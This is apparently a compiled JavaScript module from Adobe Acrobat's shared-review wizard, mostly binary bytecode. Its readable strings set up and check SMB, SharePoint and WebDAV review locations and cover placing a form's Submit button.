initiatorNameIDS_SHARED_REVIEW_SMB_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEIDS_SHARED_REVIEW_WEBDAV_NAMEcURLloct1urn://ns.adobe.com/Collaboration/SharedReview/SMBplatformWIN$IDS_SHARED_REVIEW_SMB_SUGGESTION_WIN$IDS_SHARED_REVIEW_SMB_SUGGESTION_MAC8urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint'IDS_SHARED_REVIEW_SHAREPOINT_SUGGESTION4urn://ns.adobe.com/Collaboration/SharedReview/WebDAV#IDS_SHARED_REVIEW_WEBDAV_SUGGESTIONbuttwks1wks2dcl1dcl2txt1*IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_SMB
IDS_BROWSEdes1!IDS_SHARED_REVIEW_SMB_DESCRIPTION_FDdes2.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_STR2_FD(IDS_SHARED_REVIEW_SHAREPOINT_INSTRUCTION+IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACESlocation(IDS_SHARED_REVIEW_SHAREPOINT_DESCRIPTION*IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_URL#IDS_SHARED_REVIEW_SMB_BROWSE_BUTTON$IDS_SHARED_REVIEW_WEBDAV_DESCRIPTIONlengthloadvisibleenable������
�O��dialogtoUpdatetoEnabletoShowr_iditem	customURLurlokpos	searchPosok_wsok_next��{�aBY\WQY\WQY\WQA55=VB6QA�
�:WQA55V75WQV;5oA55	5
2VB6QVB6QVB6
QVB6Q-VC6QVC6QVC6
QVC6QV;5dA555OA555:A55B6QA55B6QT�
�:QV;5dA55	5OA55	5:A55	B6QA55	B6QT�
�:QA55V�VC6QVB6QA5V6QVx;5y(;5y^;5y�z�VC6QVB6QVB6QVB6QV;56QV;5 6QV9"�"�=#;$�:6!QVC6QA55%5&;'�;(�)
�:Q;*�+
�=,�:WQ;(�-
�:QV;';;(5.=/;50WQ;51WQVV62QVA55%5&62QVB6QVC6QVC6QVC6QV;536QV;546QVA55	55EQA55	55=6A55	55
=66QVA55	55EQA55	55=6A55	55
=66QV;576!Q;(�)
�:Q;*�+
�=8�:WQ;(�-
�:QV;';59WQVA55:5&;'
VA55:5&62QoVB6QVB6QVB6QVB6QV;5;6QV;5<6QV;5=6!QVB6Q;(�)
�:Q;*�+
�=>�:WQ;(�-
�:QV;';5?WQVA55@5&;'
VA55@5&62QkV=66QV;5 6QV=66!QVC6QVB6QVB6QVB6QVB6QVx;5y(;5y;5y$z�A�A
�:WQBWQV�B�EQV�C
�>���:=D��WQV	QVW	Q4mV�E
�V	�:=F
$V	#?W	QQ�V	V�B����V	VEQV	V�BjV	#?W	QQV	WQ4mV�E
�V	�:=F
$V	#?W	QQ�V	V�B����V	VWQV EQ;(5.=/PV�B�E<QV�C
�>���:=GEQV�E
���:=HWQVa;(5.=/+V9I�I�;50�:WQ&V9I�I�;51�:WQVV6Q�A55	5
 �T�J
�:52WQV�K
��:@W
QVV
6QA55	55EQA55	55=6WQVVE	QV
6QT�J
�:52WQV�K
��:@EQV;59WQT�L
�YVEQA55	5 ]\�:Q�T�J
�:52WQV�K
��:@EQV;5?WQT�L
�YVEQA555 ]\�:Q
T�M
�V�:QT�L
�V�:QT�N
�V�:Q�ʐʐʐ����ʐ�А�ؐ�����-���ʐ�ʐ�ʐ�ϐ����ʐ�ʐ�ʐ�ʘ�B�����������Ґ�Ґ�ϐ���B�����������Ґ�Ґ�ϐ���B�����ʐ�ʐ�ϐc�����h��B��h��B��hʘ�B���B��ʐ�ʐ�ʐ�ʐ���Ӑ�Ӑ�㐈ʘ�B�������ѐڐ�ѐ������Ӑ��ΐ���ѐ���ِ�P����B͈
ʐ�ʐ�ʐ�ʐ���Ӑ�Ӑ��合�合Ӑ��ѐڐ�ѐ����Θ�B���Ȑ֐P������ʐ�ʐ�ʐ�ʐ���Ӑ�Ӑ�Ӑ�ʐ��ѐڐ�ѐ����Θ�B����Ȑ֐�P�������ΐ�Ӑ�ΐ��ʐ�ʐ�ʐ�ʐ��ʐ�P��Cc�����h��CD�h��CZ�hʘ�C���А����������&4(B���E��C'�7̘�C(��C'�Ӑ������̐�
&4(B��	�E��C-�8̘�C.��C-�Ә�C1�˘�C5�����̐����&��搐�ᐐ��̐P������������אڐ�̐���ڐ���אوܐ�P������אوܐP����P��Ch�Ӑ�Ӑ�Ӑ��data
reviewTypeFormDistributionprev
getSelectedIDserverControls
initiatorNameAnnotsString!IDS_SHARED_REVIEW_SHAREPOINT_NAME
sharepointdefaultDocumentLibrarywks1wks2dcl1dcl2IDS_SHARED_REVIEW_WEBDAV_NAMEwebdav	bDoCommitbCommitCanBeDonenextbDoDefaultCommitbDoDefaultCommitCanBeDonepreviousItemNamer_idchs4IDS_SHARED_REVIEW_SMB_NAMEbuttchs1chs2chs3txt1*IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_SMB
IDS_BROWSEdes1SharedString!IDS_SHARED_REVIEW_SMB_DESCRIPTIONWToSavedSMBStatecURL	undefinedapp	beginPrivCollabgetCustomServerLink1urn://ns.adobe.com/Collaboration/SharedReview/SMBendPrivplatformWIN$IDS_SHARED_REVIEW_SMB_SUGGESTION_WIN$IDS_SHARED_REVIEW_SMB_SUGGESTION_MACloct(IDS_SHARED_REVIEW_SHAREPOINT_INSTRUCTION+IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACESlocation(IDS_SHARED_REVIEW_SHAREPOINT_DESCRIPTION8urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint'IDS_SHARED_REVIEW_SHAREPOINT_SUGGESTIONoSavedSharePointState*IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_URL#IDS_SHARED_REVIEW_SMB_BROWSE_BUTTON$IDS_SHARED_REVIEW_WEBDAV_DESCRIPTION4urn://ns.adobe.com/Collaboration/SharedReview/WebDAV#IDS_SHARED_REVIEW_WEBDAV_SUGGESTIONoSavedWebDavStategetServerURLlengthsubstrsmb://charAt/\\\ANPlatformPathToURLstorematchenableloadvisible^http[s]?\:\/\/.+^http[s]?\:\/\/.+\/^http[s]?\:\/\/.+\/�BB�������=I�dialognextr_iditemverifiedurldocumentLibraryprops���nC
A�
�:WQA55V75WQA5V6QVx;5y(;5y�;5y{zHA5;56	QT�CWQA�

�:WQVA555RA�
�V�:WQA555@'A�
�T�A555�:QV0A555A5556Q9��;5�:QA55T�
�:56QA55A5556QA55T�
�:56Q;�
�:Q;�
�=�A555�:Q;�
�:Q�A5;56	QTEQA555  �A�!
�:WQVA555=A55C6"QA�#
�T�:Q9��=$�:QA555A5556QA555C6%QHTEQA555 *9&�&�T�
�:5�C�:WQV�'>E%QV�(
�V�'?�:=)V=)WQVA555�A55C6*QA�+
�;5,�:QVQA55-=.=/WQ$A55-=0=1WQA�2
�V�V�C�A�T�:Q9��=3�:QA554T�
�:56QA554A5556QA554T�
�:56Q;�
�:Q;�
�=5�A5545�:Q;�
�:Q�A5;56	QT�
�:WQTV5WQVA5565mT�7
�YB]8\�:QA556C6"QA556V69QA�:
�T�:Q9��=$�:QA55;T�
�:56QA5565A55656QA5565A5565%6%QA5YV5]A5565]V5]A5565%]%\6;Q;�
�:Q;�
�=<�A55;5�:Q;�
�:Q�Аؐ�ϐ�c�v���h��C��h��C��hʘ�Cv����	֐����А�����Ԑ���␐�+��됐�ڐ���	䐈	ᐈ	䐐�	ѐ�	萈	ѐ�P�����֐Ɉ�����А���Ґ�ѐ�Ր���搈ܐ���������p�����Ґ�ؐ����ΐ���ɐ�ݐ�Ր���䐈ᐈ䐐�ѐ�萈ѐ�P�����֐Ґ��̐�����ܐ�Ґ�Ԑ�ѐ��Ր���
䐈
搈搐��	��͐Ր͐ܐ���	ѐ�	萈	ѐ�P����
getSelectedIDdataserverControls
initiatorNamepreviousSelectedIDAnnotsStringIDS_SHARED_REVIEW_SMB_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEIDS_SHARED_REVIEW_WEBDAV_NAME
serverTypegetServerURLsmbcVerifiedURLverifyURLSNF	setURLSNFoConfigcSetting
DebugThrow!IDS_SHARED_REVIEW_NETWORK_INVALIDoSavedSMBStatecURLstoreloctcStatusstatapp	beginPrivCollabsetCustomServerLink1urn://ns.adobe.com/Collaboration/SharedReview/SMBendPriv
sharepointdefaultDocumentLibrarygetSharePointServerURL	bDoCommit	verifySPFURL requires verification#bUseWindowsIntegratedAuthenticationCBEncodeURLlengthcharAt/bDoDefaultCommit	setStatus3IDS_SHARED_REVIEW_SHAREPOINT_DEFAULTDOCLIB_CREATION
reviewTypeSharedReviewAcrobatSharedReviewsFormDistributionAcrobatFormsDistributioncreateDocumentLibrary%Document Library could not be createdoSavedSharePointState8urn://ns.adobe.com/Collaboration/SharedReview/Sharepointwebdavenablenext
cVerifyURLverifyWDoSavedWebDavState4urn://ns.adobe.com/Collaboration/SharedReview/WebDAV�����*�
oDidHappendialog��CA�
�;5�:QA�
�T�:Q�ؐ�ш	setStatusAnnotsString#IDS_SHARED_REVIEW_STATUS_INITIALIZE
sharePointwiz�����~�
baseURL
docLibName
oDidHappendialogparams���CY=]T]C]\WQ;�
�:Q;5�
�V�:Q;�	
�:QA�

�T�T�B�T�T�:Q�ʐȐː��ѐ�ڐ�ѐ�߈KCONNECTcVerbcURLisSPCallSiteapp	beginPrivNetHTTPrequestendPrivcreateDocumentLibrary�������.@baseURL
docLibNamelogOnce
oDidHappendialogformDigestValueformDigestParamsresponse�C
;�����QY=]�����=]YC]\]ZY=]=	]
\`\]Y�����]�]
\]C]\WQ;�
�:QV9��V5�:6Q;5�
�V�:WQ;�
�:Qϐ�ʐԐ�̐�ɐʐՐ��ΐИ�D#ː��ѐ��ݐ�ш	undefinedPOSTcVerb_api/contextinfocURLUsePlatformAuth
oAuthenticateacceptnameapplication/json; odata=verbosevalueaHeadersoNotifyresponseoHandlerisSPCallSiteapp	beginPrivANTrustPropagateAllNetHTTPrequestendPriv�������=0msguriedata�(
DT5X�0A5�
�����������:Q�T5X�D$QT5X�DQT5XXEQ�����DA5�
���������������������:Q!T;A5�
�:Q��;�
�;�	
�T�:�:WQV5
55�����QA5�
���������������������:Qw�vWQ�DA5�
�����:QA5�
�:Q��+���?��������	א��鐈
ܐ�
�x��ʐ��?������Ҁ{��
erroroNotifyshowChooseSubsiteconnectSubsite	undefinedonErrorCreationJSONparseSOAPstringFromStreamdGetContextWebInformationFormDigestValue
createLibrary����e���������(O @baseURLformDigestValue
docLibName
oDidHappendocLibraryParams/�+D	T;�Y=]�����=]YC]\]ZY=]=	]
\`Y=]=	]
\`Y=]T]
\`\]
;�
�;�
�YY=]\]B]B]C]�e]C]T]T]\�:�:]YT]�]\]C] \WQ;!�"
�:Q9#�#�V�:WQV9#�#�V5�:6Q;$5%�&
�V�:Q;!�'
�:Q���ʐԐ�̐�ɐʐϐ�ʐϐ�ʐӐ�ߐ�А������Ȑ֐��ȐИ�DRː��ѐ�֐��ڐ�ш	undefinedPOSTcVerb/_api/web/listscURLUsePlatformAuth
oAuthenticateacceptnameapplication/json; odata=verbosevaluecontent-typeX-RequestDigestaHeadersSOAPstreamFromStringJSON	stringifySP.Listtype
__metadata
ForceCheckoutEnableVersioningAllowContentTypesBaseTemplateContentTypesEnabledDescriptionTitleoRequestoNotifyresponseoHandlerisSPCallSiteapp	beginPrivANTrustPropagateAllNetHTTPrequestendPriv�����T�	msgurie��KDT;EQT5X�A5�
�:Q!A5�
������:Q���	א��	܈+	undefinederroroNotifyonErrorCreationonSuccessfulCreation�����:�	dialog�V]D;�
�:Q;�
�=�:Q;�
�:Q��ѐ�א�шapp	beginPrivCollablaunchHelpViewerInternal_ServerendPriv�����O�propsiu dDA5�
�:WQA55KmMWQVV7V�N��L����N=�Ր�0 ː���|ː���dialogstoredataserverControlssvr0' ������	didSelectCmoDBWQ�������r�	urldlgData��tDVQA5�
�:WQ9��V5�:WQV�>EQV�
���:=V=WQV���Ր�ې�����͐���dialogstoreANPlatformPathToURLloctlengthsubstr/������dialogurl���DT�
�YT]\�:Q��ވloadloct�������
status	statusStr �!�D	;5WQA5�
�YV�
��T�:]\�:QA5�
�=�:QT;5EQ;5	<A5�

�YC]\�:QA5�
�=�:Q�ΐ������ؐ���ߐ�؈AnnotsString!IDS_SHARED_REVIEW_STATUS_TEMPLATEdialogloadreplacestatresize'IDS_SHARED_REVIEW_SMB_FOLDER_CREATE_ERRappisProtectedModeEnabledvisiblechs4focus	{cStatus}�����*�$�NsmbURLverifyResulterrorString	folderURIdatafileURIdeleteResult
enumerator$m.�DVQVQVQ;�
�:Q9��T�:WQ9��=T�:QVEQV�>�9��T�A5�:QA�
�;	5
�:QV=WQ;�
�V�:WQV ;	5WQVx;�
�=�:WQV=WQVQ;�
�V�V�:WQV (;	5�
��V�:WQV�A�
�;	5�:Q;�
�V�:WQm�V�
�:WQVb;�
�9��V�:�:WQV 2;	5�
��V�:WQBWQ
V����VN;�
�V�:WQV -;	5�
��V�:WQBWQBWQ;	5WQ9��=T�:QV_A55;� 
�9��T�:�:6Q9��=!A555�:Q;�"
�:QA�
�V;	5#V�:QV������ѐ�֐�ِ������ڐ��ؐ��p��ؐ�	���Θ�D���ڐ͐��ܐ�
���㘀D����ؐؐ({)}����DĐ�Ґ��琈���	㐈	�@���Ș�D����ؐ�
���㐈ʘ�Dސ����ΐ��ِ������搐�ѐ��ܐ��app	beginPrivencodeSMBurl
DebugAlertsmbURLlengthglobalCheckForSameSMBLocationdata	setStatusAnnotsString%IDS_SHARED_REVIEW_NETWORK_CHECK_WRITEcom.adobe.acrobatCollaburiCreateFolder'IDS_SHARED_REVIEW_SMB_FOLDER_CREATE_ERRSOAPstreamFromStringTesting Writeablility
/testfile.txt
uriPutData$IDS_SHARED_REVIEW_SMB_FILE_WRITE_ERRreplace&IDS_SHARED_REVIEW_NETWORK_CHECK_DELETEuriEnumerateFilesuriNextFile
uriDeleteFile#IDS_SHARED_REVIEW_SMB_ENUM_FILE_ERRuriDeleteFolder'IDS_SHARED_REVIEW_SMB_DELETE_FOLDER_ERR!IDS_SHARED_REVIEW_NETWORK_INVALIDsmbcVerifiedURLuriNormalizethis.data.smb.cVerifiedURLendPriv"IDS_SHARED_REVIEW_NETWORK_VERIFIED%url%%url%%url%�������.�dialogurl�.�.�DT�
�Y9��T�:]\�:Q���7loadANSMBURLToPlatformPathloct�������h+dialog	folderURIerrMsg�.
3�D	�;�
�:Q;�
�:WQ;�
�:Q9��=V�:QVEQV�>oV�
�V�?�:=	V=	WQA�

�V�:)A�
�T�A55
5�:Q��vWQV5=�VQ9��V5�:F?,;5WQ+;5WQ;5WQ;�
�:Q;�
�V�:Q;�
�:Q9��=�:Q�����ѐԐ�ѐ�ِ�������p�����␈z��Eʐ������XRِ���ΐP���ΐP���ΐP����ѐ�Ր�ѐ�Հ{���app	beginPrivCollabbrowseForNetworkFolderendPriv
DebugAlert	folderURIlengthcharAt/verifyURLSNF	setURLSNFdatasmbcVerifiedURLmessageVolume Mount ExceptionNumber	errorCodeAnnotsString#IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR$IDS_SHARED_REVIEW_VOLUME_MOUNT_ERRORIDS_SHARED_REVIEW_VOLUME_ERRORalert
DebugThrow
VolMountError����e������H�	dialogurl)3�3"EA�
�:WQA�
�V�:'A�
�T�A555�:Q�А�����3getServerURLverifyURLSNF	setURLSNFdatasmbcVerifiedURL�����{�N3statetaskdata�5�80EA555A5557WQ=WQVx=y=y�=y�z;�	
�=
�:WQ;55
�
�A555�V�A�A555�:Q;5WQ�;55
�
�A555�A�A555�:Q;5WQW;55
�
�A555�A�A555�:Q;5WQA�
�V�:Q��ɐ�c�8��m
��E=m
��EBmʘ�E7�ڐ����ΐP�������ΐP�������ΐP����шdatawebdavaStatesnState	writeable
enumerable
removeableSOAPstreamFromStringTesting WriteablilityNetHTTPWebDAVPutFilecFileURLoAuthAnnotsString%IDS_SHARED_REVIEW_NETWORK_CHECK_WRITEEnumerateCollection$IDS_SHARED_REVIEW_NETWORK_CHECK_READ
DeleteFile&IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE	setStatus�������)e�8K;KET5E1QT5;5EQA555B0A55C6QA�
�A5�:Qu;�	
�:Q;�

�;5�:Q;�
�:QA�
�T5T5;5�:Q��+�����Ґ�ِ����ѐ�ܐ�ѐ��
�`textAnnotsStringIDS_UNAUTHORIZEDdatawebdav#bUseWindowsIntegratedAuthenticationverifyWDdialogapp	beginPrivalert&IDS_SHARED_REVIEW_NETWORK_FAILED_ALERTendPrivonVerifyFailureWD(IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN�������*n;U=]EA555#?�
6QQA555A555��A55A5556QA�
�;5	�:QA5
�
�YC]\�:QA555
A55C6QA�
�:Q��ߐ������ᐈؐ�ߐ����ט�Ek�	͈datawebdavnStateaStateslengthcVerifiedURL
cVerifyURL	setStatusAnnotsString"IDS_SHARED_REVIEW_NETWORK_VERIFIEDdialogenablenext	bDoCommitbCommitCanBeDoneverifyNextStateWD�����C�msgx=�=nEA�
�T�:QA5�
�YC]\�:QA55B6Q��ѐ�ߐ�҈#	setStatusdialogenablenextdatawebdav	bDoCommit�������!resourcestateoURL>�?uEA555A5557WQV=EQA555 ��;�
�T5�:WQA55V5	A555
5	E$QV5A555
56Q�vWQ���ψ �����ݐ���x��ʐ�{����datawebdavaStatesnState
enumerable
bFoundFileutilcrackURLurlcHostoFileURLcPath����eKu�����5�resource@�@�EA555A�
�:QA�
�:Q���$Ґ�	͈datawebdav
bFoundFileonVerifySuccessWDonVerifyFailureWD������status�@�@�EA�
�:Qˆ#͈onVerifySuccessWD������status�@A�EA�
�:Qˆ&͈onVerifySuccessWD�������J:dialogpropsurl3A�D�E	T�
�:WQT�
�:5WQV�>~A55>6QV�
���:= A�
�T�V=�:QA55T�
�:56	QA55A555YC]\Y\6
Q;
�
�:QA55;�
�A555	=�:6Q;
�
�:QA55;�
�A555�:6QA55B6QA5�
�YB]\�:QA�
�:QA�
�;5�:Q�Ґא���y���Ґ����ې�䐈�␈ѐ����ѐ��Ґ�ߐ��Ґ���؈GstoreloctlengthdatawebdavnStatesubstr/setURL
cVerifyURLoAuth#bUseWindowsIntegratedAuthenticationUsePlatformAuthapp	beginPrivcFileURLCollab	uriEncode)com.adobe.acrobat.webdav.writeability.txtendPrivoFileURLutilcrackURL
bFoundFiledialogenablenextverifyNextStateWDonVerifyFailureWDAnnotsString!IDS_SHARED_REVIEW_NETWORK_INVALID�����r�6�jdialogresultnsurlresponserequestparamsdesctoLoadtemp
workspaceNamedocumentLibrarytoUpdate�F�Q�EA55C6QA55B6QZ\WQ=WQ�9��T�
�:5�C�:WQV�>E%QV�	
�V�?�:=
V=
WQY\WQYV=]YY\]
\]V=
]B]V]YC]\]=]\WQ�;�
�V�:WQ��vWQV�
�:�
�=�:�zY=]V]\WQ;�
�:Q;5 �
�V�:Q;�!
�:Q;�
�V�:WQ	Vp�A55V>75#>75#>75#6"Q9$�$�A5�T�:WQ;�
�:Q;�%
�V�:WQ;�!
�:QV=&KY\WQA555'WQV@�V�(
���:=
V=
WQ;)�RWQV�*
�=
�:WQVV��7W	QV9,�,�V	�:6+QVV��7W
QV9,�,�V
�:6-Q@WQT�.
�V�:QA�/
�T�:QEV=06+QV=06-QT�.
�V�:QA�/
�T�:QTY\WQA55=06'QV=06+QV=06-QT�.
�V�:Qn�vWQ;�
�:Q;�1
�;253�:Q;�!
�:QA�4
�;255�:Q���Ґ�Ґɐɐ��������p���ʐ��ΐ��ѐ�ΐ�ȐѐϘ�Eϑ���x��ʐ��u����ʐ͐��ѐ�ڐ�ѐ�ݐ�����{��E�鐐ݐ�ѐؐ�ѐ����F��ʐԐ��ٕ�����p��ΐ�ؐ�Ӑ�ېӐ�ې���Ӑ�֐����ΐ�ΐ�Ӑ�֘�F
�ʐ�֐�ΐ�ΐ��x��Fʐ��ѐ�ܐ�ѐ�؀{��F�data
sharepointdefaultDocumentLibrarybDoDefaultCommit-http://schemas.microsoft.com/sharepoint/soap/CBEncodeURLstoreloctlengthcharAt/_vti_bin/Webs.asmxcURLGetWebCollectionoRequestcActionbEncoded
cNamespaceUsePlatformAuth
oAuthenticateMessagecResponseStyleSOAPrequesttoStringindexOfE_ACCESSDENIEDCONNECTcVerbapp	beginPrivNetHTTPendPrivsites	soapValueIWShowSharepointWorkspace
execDialogoklocationsubstrArraysplitwks2	decodeURIdcl2load	verifySPFalertAnnotsString&IDS_SHARED_REVIEW_NETWORK_FAILED_ALERT	setStatus!IDS_SHARED_REVIEW_NETWORK_INVALID����e����e7��������
'urldlgDataR�S"FVQA555EQA555�>A555WQ7A5;&A5�
�:WQV5WQV@E-QV�>EQV�
���:=	V=	WQV������ِ�����Ր�	̘�F2���͐��data
sharepointlocationlengthoDialog	undefinedstoreloctsubstr/�����o�N-statetaskdataT�W7F
A555A5557WQ=WQVx=y=y�=y�z
;�	
�=
�:WQ;55
�
�A555�V�A�YC]\�:Q;5WQ�;55
�
�A555�A�YC]\�:Q;5WQS;55
�
�A555�A�YC]\�:Q;5WQA�
�V�:Q��ɐ�c�,��m
��FDm
��FImʘ�F>�ڐ�	���	ΐP�������ΐP�������ΐP����шdata
sharepointaStatesnState	writeable
enumerable
removeableSOAPstreamFromStringTesting WriteablilityNetHTTPWebDAVPutFilecFileURLUsePlatformAuthAnnotsString%IDS_SHARED_REVIEW_NETWORK_CHECK_WRITEEnumerateCollection
cVerifyURL$IDS_SHARED_REVIEW_NETWORK_CHECK_READ
DeleteFile&IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE	setStatus�����U�e�W^XRF;�
�:Q;�
�;5�:Q;�
�:QA�
�T5�:Q��ѐ�ܐ�ѐ��ֈ app	beginPrivalertAnnotsString1IDS_SHARED_REVIEW_SHAREPOINT_CONTRIBUTOR_RESTRICTendPrivonVerifyFailureSPFtext������C'urldocumentLibrarytemptoLoad
workspaceName�X�\[F
A�
�;5�:QA55T6QVQA55==WQ$A55=	=
WQA55A555V=6QA555
A5556QA555
C6Q;�RWQT�
�=�:WQY\WQVV��7WQV9��V�:6QVV��7WQV9��V�:6Q@WQA55C6Q��ؐ�Ԑ����ΐ���ɐ�됈搈אΐ�ؐʐӐ�ېӐ�ې���҈6	setStatusAnnotsString"IDS_SHARED_REVIEW_NETWORK_VERIFIEDdata
sharepointcVerifiedURL
reviewTypeSharedReviewAcrobatSharedReviewsFormDistributionAcrobatFormsDistributionlocation/oConfigcSetting#bUseWindowsIntegratedAuthenticationArraysplitlengthwks2	decodeURIdcl2bDoDefaultCommitCanBeDone�����G�	�\�]rFA�
�;5�:QA55B6Q;�
�;5�:Q��ؐ�Ґ�܈I	setStatusAnnotsString!IDS_SHARED_REVIEW_NETWORK_INVALIDdata
sharepointbDoDefaultCommitappalert0IDS_SHARED_REVIEW_SHAREPOINT_DEFAULTDOCLIB_ERROR�������*�]�_yFA555#?�
6QQA555A555��A55A5556QA�
�;5	�:QA5
�
�YC]\�:QA555
A�
�A5
�C�:QA�
�:Q��ߐ������ᐈؐ�ߐ����ۘ�F��͈data
sharepointnStateaStateslengthcVerifiedURL
cVerifyURL	setStatusAnnotsString"IDS_SHARED_REVIEW_NETWORK_VERIFIEDdialogenablenext	bDoCommitcommitverifyNextStateSPF�����1�msg`k`�FA�
�T�:QA5�
�YC]\�:Q��ѐ�߈#	setStatusdialogenablenext�������resourcestate	oCheckURL	oMatchURL�`b�FA555A5557WQV=EQA555 �;�
�9��T5	�:�:WQ;�
�9��A555
�:�:WQA55V5V56Q��ψ ������Gdata
sharepointaStatesnState
enumerable
bFoundFileutilcrackURLunescapeurlcFileURLcPath�����5�resource>b�b�FA555A�
�:QA�
�:Q���(Ґ�	͈data
sharepoint
bFoundFileonVerifySuccessSPFonVerifyFailureSPF������status�bc�FA�
�:Qˆ$͈onVerifySuccessSPF������status!cHc�FA�
�:Qˆ'͈onVerifySuccessSPF�������/dialog	serverURL�cf�FA55B6QA55>6QA�
�:WQV@EQV�>�A55V6QA55A555=6QA55B6	QA5
�
�YB]\�:QA�
�:QA�
�;5�:Q��Ґ�ҐА��~���Ԑ�琈Ґ�ߐ��Ґ���؈?data
sharepointdefaultDocumentLibrarynStategetSharePointServerURLlength
cVerifyURLcFileURL)com.adobe.acrobat.sharepoint.writeability
bFoundFiledialogenablenextverifyNextStateSPF	setStatusAnnotsString!IDS_SHARED_REVIEW_NETWORK_INVALID�������Ber_iditem�g�i�FA�
�:WQA55V75WQVx;5y(;5y1;5y8zIA�
�;	�:Q1A�

�T�:QA�
�T�:Q�Аؐ�cw���h��F��h��F��hʘ�FĐ���ӐP������ѐP�����ѐP���
getSelectedIDdataserverControls
initiatorNameAnnotsStringIDS_SHARED_REVIEW_SMB_NAMEIDS_SHARED_REVIEW_WEBDAV_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEbrwsSNFdialog	onErrorWD
onErrorSPF�����t�	0r_iditem�iGk�FA�
�:WQA55V75WQVx;5y;5yz)A�
�:QA�
�:Q�Аؐ�cH���h��F��hʘ�Fߐ��͐P�����͐P���
getSelectedIDdataserverControls
initiatorNameAnnotsStringIDS_SHARED_REVIEW_WEBDAV_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEonVerifySuccessWDonVerifySuccessSPF�����|�	0msgr_iditemhk�l�FA�
�:WQA55V75WQVx;5y;5y z1A�
�T�:QA�
�T�:Q�Аؐ�cP���h��F��hʘ�F󐐈ѐP�����ѐP���
getSelectedIDdataserverControls
initiatorNameAnnotsStringIDS_SHARED_REVIEW_WEBDAV_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEonVerifyFailureWDonVerifyFailureSPF�����|�	0resourcer_iditemm�nGA�
�:WQA55V75WQVx;5y;5y z1A�
�T�:QA�
�T�:Q�Аؐ�cP���h��G�hʘ�G���ѐP�����ѐP���
getSelectedIDdataserverControls
initiatorNameAnnotsStringIDS_SHARED_REVIEW_WEBDAV_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEonEnumerateFileWDonEnumerateFileSPF�����|�	0resourcer_iditem�n{pGA�
�:WQA55V75WQVx;5y;5y z1A�
�T�:QA�
�T�:Q�Аؐ�cP���h��G �hʘ�G���ѐP�����ѐP���
getSelectedIDdataserverControls
initiatorNameAnnotsStringIDS_SHARED_REVIEW_WEBDAV_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEonEnumerateEndWDonEnumerateEndSPF�����t�	0statusr_iditem�p'r(GA�
�:WQA55V75WQVx;5y;5yz)A�
�:QA�
�:Q�Аؐ�cH���h��G4�hʘ�G/���͐P�����͐P���
getSelectedIDdataserverControls
initiatorNameAnnotsStringIDS_SHARED_REVIEW_WEBDAV_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEonVerifySuccessWDonVerifySuccessSPF�����t�	0statusr_iditemEr�s<GA�
�:WQA55V75WQVx;5y;5yz)A�
�:QA�
�:Q�Аؐ�cH���h��GH�hʘ�GC���͐P�����͐P���
getSelectedIDdataserverControls
initiatorNameAnnotsStringIDS_SHARED_REVIEW_WEBDAV_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEonVerifySuccessWDonVerifySuccessSPF�����z�	8dialogr_iditem�tLwTGA�
�:WQA55V75WQVx;5y(;5y*;5y z A�
�T�:Q
�Аؐ�cN���h��G_�h��Gd�hʘ�G[���ѐ����P����GhP��
getSelectedIDdataserverControls
initiatorNameAnnotsStringIDS_SHARED_REVIEW_SMB_NAMEIDS_SHARED_REVIEW_WEBDAV_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEbrwsSNF������dialogcw�wlGA�
�T�:Q��ш
sharePointwiz�����&�
dialogurl�w4xqG;5WQ;�
�V�C�:Q�ΐ�׈AnnotsString1IDS_SHARED_REVIEW_NETWORK_FOLDER_SET_CONFIG_GUIDEapp	launchURL�����+�dialogJxywG9��=�:Q9��=�:Q��Ր�ՈS
DebugAlertDThis function should not have been called. Find the place and fix it
DebugThrow2������`�(�#
reviewType	checkSizedescription�ڙNHY�]�]ZY=];5];5];5	]
;5]=
]=]ZY=]=]=]=]X�]C]\`Y=]=]=]ZY=]=]=]\`\]\`Y=]X�]\`Y=]ZY=]=]ZY=]= ]� ]� ]\`Y=]=
]ZY=]=!]="];5]C]\`\]\`\]\`\]\`\]\`\]#\WQ;$�%
�:Q9&�&�V�:WQ;$�'
�:QV���ʘ�H[ʘ�Ho��ʐϐϐϐϐʐʐ���ʐʐʐʐ�Ȑː��ʐʐʐ���ʐʐژ�H��ʐ͐��ʐ���ʐʐ���ʐʐ�̐��ʐʐ���ʐʐʐϐ���H��ѐ�֐�ѐ���
initializevrfyviewtypeCollabwizardWidthwidthwizardHeightheightmarginHeight
margin_heightwizardMarginWidthmargin_width
align_leftalign_children
align_fill	alignmentstatic_text�The system cannot detect a submit button in the form you created/modified.  The Submit button is needed for people to return forms data back to you automatically. Click Place Submit Button to place the Submit button.nametxt0item_iddialogfont	wrap_name	align_rowbuttonPlace Submit Buttonelementsgapclusterimageimg1�Use your mouse to place the Submit button where you want it to appear.  Once the button is placed,  you will be asked where you would like the data returned. You will then be returned to this Form Distribution Form wizard.des1descriptionapp	beginPrivANTrustPropagateAllendPriv�����O�dialogtoLoad9�ďRHY\WQT�
�YB]\�:QT�
�=�:QT�
�V�:Q�ʐ��ܐ�Ր��ӈenablenextfocusvrfyload�����Y�!dialog؏��[H9��=�:Q�T�
�=�:Q-�vWQ9��=�:Q�����Ր�����Hg��x��ʐ��Հ{��
DebugAlertin function place submit buttonendverySomething Wrong happend here����e�������N<H
reviewType	checksizedescription�����HY�]�]�]�]�]�]�]�]�]�	]	�
]
�]�]�
]
